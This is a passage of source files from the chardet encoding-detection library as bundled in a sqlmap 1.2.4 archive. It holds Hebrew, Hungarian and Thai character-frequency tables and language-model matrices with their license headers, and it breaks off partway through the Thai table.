2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,2,1,2,0,2,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,1,2,2,0,0,1,0,0,0,1,0,0,1, 1,1,2,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,2,1, 0,2,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1, 2,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,2,1,1,2,0,1,0,0,0,1,1,0,1, 1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,0,0,2,1,1,2,0,2,0,0,0,1,1,0,1, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,2,2,1,2,1,1,0,1,0,0,0,1,1,0,1, 2,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,2,1,1,1,0,2,1,1,0,0,0,2,1,0,1, 1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,0,2,1,1,0,1,0,0,0,1,1,0,1, 2,2,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,0,1,2,1,0,2,0,0,0,1,1,0,1, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0, 0,1,0,0,2,0,2,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1, 1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,2,1,1,1,1,1,0,1,0,0,0,0,1,0,1, 0,1,1,1,2,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0, ) Win1255HebrewModel = { 'charToOrderMap': win1255_CharToOrderMap, 'precedenceMatrix': HebrewLangModel, 'mTypicalPositiveRatio': 0.984004, 'keepEnglishLetter': False, 'charsetName': "windows-1255" } # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/langhungarianmodel.py000066400000000000000000000303701326012263700230350ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: Latin2_HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, 253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, 159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174, 175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205, 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, 221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231, 232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241, 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85, 245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) win1250HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, 253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, 161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176, 177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205, 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, 221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231, 232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241, 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87, 245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 94.7368% # first 1024 sequences:5.2623% # rest sequences: 0.8894% # negative sequences: 0.0009% HungarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, 3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0, 3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3,3,3,3,1,3,3,2,2,0,3,2,3, 0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,3,3,2,3,3,2,2,3,2,3,2,0,3,2,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,3,3,3,3,2,3,3,3,1,2,3,2,2,3,1,2,3,3,2,2,0,3,3,3, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,3,2,3,3,3,3,2,3,3,3,3,0,2,3,2, 0,0,0,1,1,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,1,1,1,3,3,2,1,3,2,2,3,2,1,3,2,2,1,0,3,3,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,2,2,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,3,2,2,3,1,1,3,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,1,3,3,3,3,3,2,2,1,3,3,3,0,1,1,2, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,0,3,2,3, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,1,3,2,2,2,3,1,1,3,3,1,1,0,3,3,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,2,3,3,3,3,3,1,2,3,2,2,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,2,2,2,3,1,3,3,2,2,1,3,3,3,1,1,3,1,2,3,2,3,2,2,2,1,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,2,2,3,2,1,0,3,2,0,1,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,1,0,3,3,3,3,0,2,3,0,0,2,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,2,3,3,2,2,2,2,3,3,0,1,2,3,2,3,2,2,3,2,1,2,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 3,3,3,3,3,3,1,2,3,3,3,2,1,2,3,3,2,2,2,3,2,3,3,1,3,3,1,1,0,2,3,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,1,2,2,2,2,3,3,3,1,1,1,3,3,1,1,3,1,1,3,2,1,2,3,1,1,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,2,1,2,1,1,3,3,1,1,1,1,3,3,1,1,2,2,1,2,1,1,2,2,1,1,0,2,2,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,1,1,2,1,1,3,3,1,0,1,1,3,3,2,0,1,1,2,3,1,0,2,2,1,0,0,1,3,2, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,2,1,3,3,3,3,3,1,2,3,2,3,3,2,1,1,3,2,3,2,1,2,2,0,1,2,1,0,0,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,2,2,2,2,3,1,2,2,1,1,3,3,0,3,2,1,2,3,2,1,3,3,1,1,0,2,1,3, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,2,2,2,3,2,3,3,3,2,1,1,3,3,1,1,1,2,2,3,2,3,2,2,2,1,0,2,2,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 1,0,0,3,3,3,3,3,0,0,3,3,2,3,0,0,0,2,3,3,1,0,1,2,0,0,1,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,2,3,3,3,3,3,1,2,3,3,2,2,1,1,0,3,3,2,2,1,2,2,1,0,2,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,2,1,3,1,2,3,3,2,2,1,1,2,2,1,1,1,1,3,2,1,1,1,1,2,1,0,1,2,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 2,3,3,1,1,1,1,1,3,3,3,0,1,1,3,3,1,1,1,1,1,2,2,0,3,1,1,2,0,2,1,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,1,0,1,2,1,2,2,0,1,2,3,1,2,0,0,0,2,1,1,1,1,1,2,0,0,1,1,0,0,0,0, 1,2,1,2,2,2,1,2,1,2,0,2,0,2,2,1,1,2,1,1,2,1,1,1,0,1,0,0,0,1,1,0, 1,1,1,2,3,2,3,3,0,1,2,2,3,1,0,1,0,2,1,2,2,0,1,1,0,0,1,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,3,3,2,2,1,0,0,3,2,3,2,0,0,0,1,1,3,0,0,1,1,0,0,2,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,2,2,3,3,1,0,1,3,2,3,1,1,1,0,1,1,1,1,1,3,1,0,0,2,2,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,1,2,2,2,1,0,1,2,3,3,2,0,0,0,2,1,1,1,2,1,1,1,0,1,1,1,0,0,0, 1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,2,1,1,1,1,1,1,0,1,1,1,0,0,1,1, 3,2,2,1,0,0,1,1,2,2,0,3,0,1,2,1,1,0,0,1,1,1,0,1,1,1,1,0,2,1,1,1, 2,2,1,1,1,2,1,2,1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,1,1,1,1,1,1,0,1, 2,3,3,0,1,0,0,0,3,3,1,0,0,1,2,2,1,0,0,0,0,2,0,0,1,1,1,0,2,1,1,1, 2,1,1,1,1,1,1,2,1,1,0,1,1,0,1,1,1,0,1,2,1,1,0,1,1,1,1,1,1,1,0,1, 2,3,3,0,1,0,0,0,2,2,0,0,0,0,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,1,0, 2,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, 3,2,2,0,1,0,1,0,2,3,2,0,0,1,2,2,1,0,0,1,1,1,0,0,2,1,0,1,2,2,1,1, 2,1,1,1,1,1,1,2,1,1,1,1,1,1,0,2,1,0,1,1,0,1,1,1,0,1,1,2,1,1,0,1, 2,2,2,0,0,1,0,0,2,2,1,1,0,0,2,1,1,0,0,0,1,2,0,0,2,1,0,0,2,1,1,1, 2,1,1,1,1,2,1,2,1,1,1,2,2,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1, 1,2,3,0,0,0,1,0,3,2,1,0,0,1,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,2,1, 1,1,0,0,0,1,0,1,1,1,1,1,2,0,0,1,0,0,0,2,0,0,1,1,1,1,1,1,1,1,0,1, 3,0,0,2,1,2,2,1,0,0,2,1,2,2,0,0,0,2,1,1,1,0,1,1,0,0,1,1,2,0,0,0, 1,2,1,2,2,1,1,2,1,2,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,0,0,1, 1,3,2,0,0,0,1,0,2,2,2,0,0,0,2,2,1,0,0,0,0,3,1,1,1,1,0,0,2,1,1,1, 2,1,0,1,1,1,0,1,1,1,1,1,1,1,0,2,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,1, 2,3,2,0,0,0,1,0,2,2,0,0,0,0,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,1,0, 2,1,1,1,1,2,1,2,1,2,0,1,1,1,0,2,1,1,1,2,1,1,1,1,0,1,1,1,1,1,0,1, 3,1,1,2,2,2,3,2,1,1,2,2,1,1,0,1,0,2,2,1,1,1,1,1,0,0,1,1,0,1,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,0,0,0,0,0,2,2,0,0,0,0,2,2,1,0,0,0,1,1,0,0,1,2,0,0,2,1,1,1, 2,2,1,1,1,2,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,1,1,0,1,2,1,1,1,0,1, 1,0,0,1,2,3,2,1,0,0,2,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0, 1,2,1,2,1,2,1,1,1,2,0,2,1,1,1,0,1,2,0,0,1,1,1,0,0,0,0,0,0,0,0,0, 2,3,2,0,0,0,0,0,1,1,2,1,0,0,1,1,1,0,0,0,0,2,0,0,1,1,0,0,2,1,1,1, 2,1,1,1,1,1,1,2,1,0,1,1,1,1,0,2,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1, 1,2,2,0,1,1,1,0,2,2,2,0,0,0,3,2,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0, 1,1,0,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,0,0,1,1,1,0,1,0,1, 2,1,0,2,1,1,2,2,1,1,2,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0, 1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0, 1,2,3,0,0,0,1,0,2,2,0,0,0,0,2,2,0,0,0,0,0,1,0,0,1,0,0,0,2,0,1,0, 2,1,1,1,1,1,0,2,0,0,0,1,2,1,1,1,1,0,1,2,0,1,0,1,0,1,1,1,0,1,0,1, 2,2,2,0,0,0,1,0,2,1,2,0,0,0,1,1,2,0,0,0,0,1,0,0,1,1,0,0,2,1,0,1, 2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, 1,2,2,0,0,0,1,0,2,2,2,0,0,0,1,1,0,0,0,0,0,1,1,0,2,0,0,1,1,1,0,1, 1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1, 1,0,0,1,0,1,2,1,0,0,1,1,1,2,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0, 0,2,1,2,1,1,1,1,1,2,0,2,0,1,1,0,1,2,1,0,1,1,1,0,0,0,0,0,0,1,0,0, 2,1,1,0,1,2,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,2,1,0,1, 2,2,1,1,1,1,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,0,1,0,1,1,1,1,1,0,1, 1,2,2,0,0,0,0,0,1,1,0,0,0,0,2,1,0,0,0,0,0,2,0,0,2,2,0,0,2,0,0,1, 2,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1, 1,1,2,0,0,3,1,0,2,1,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0, 1,2,1,0,1,1,1,2,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0, 2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,2,0,0,0, 2,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,1,0,1, 2,1,1,1,2,1,1,1,0,1,1,2,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,0,1,1,1,1,1,0,0,1,1,2,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0, 1,2,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0, 2,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,2,0,0,1,0,0,1,0,1,0,0,0, 0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0, 0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, ) Latin2HungarianModel = { 'charToOrderMap': Latin2_HungarianCharToOrderMap, 'precedenceMatrix': HungarianLangModel, 'mTypicalPositiveRatio': 0.947368, 'keepEnglishLetter': True, 'charsetName': "ISO-8859-2" } Win1250HungarianModel = { 'charToOrderMap': win1250HungarianCharToOrderMap, 'precedenceMatrix': HungarianLangModel, 'mTypicalPositiveRatio': 0.947368, 'keepEnglishLetter': True, 'charsetName': "windows-1250" } # flake8: noqa sqlmap-1.2.4/thirdparty/chardet/langthaimodel.py000066400000000000000000000260131326012263700220050ustar00rootroot00000000000000######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # The following result for thai was collected from a limited sample (1M). # Character Mapping Table: TIS620CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111, # 40 188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253, # 50 253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82, # 60 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253, # 70 209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222, 223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235, 236, 5, 30,237, 24,238, 75, 8, 26, 52, 34, 51,119, 47, 58, 57, 49, 53, 55, 43, 20, 19, 44, 14, 48, 3, 17, 25, 39, 62, 31, 54, 45, 9, 16, 2, 61, 15,239, 12, 42, 46, 18, 21, 76, 4, 66, 63, 22, 10, 1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244, 11, 28, 41, 29, 33,245, 50, 37, 6, 7, 67, 77, 38, 93,246,247, 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 92.6386% # first 1024 sequences:7.3177% # rest sequences: 1.0230% # negative sequences: 0.0436% ThaiLangModel = ( 0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, 0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, 3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, 0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1, 3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2, 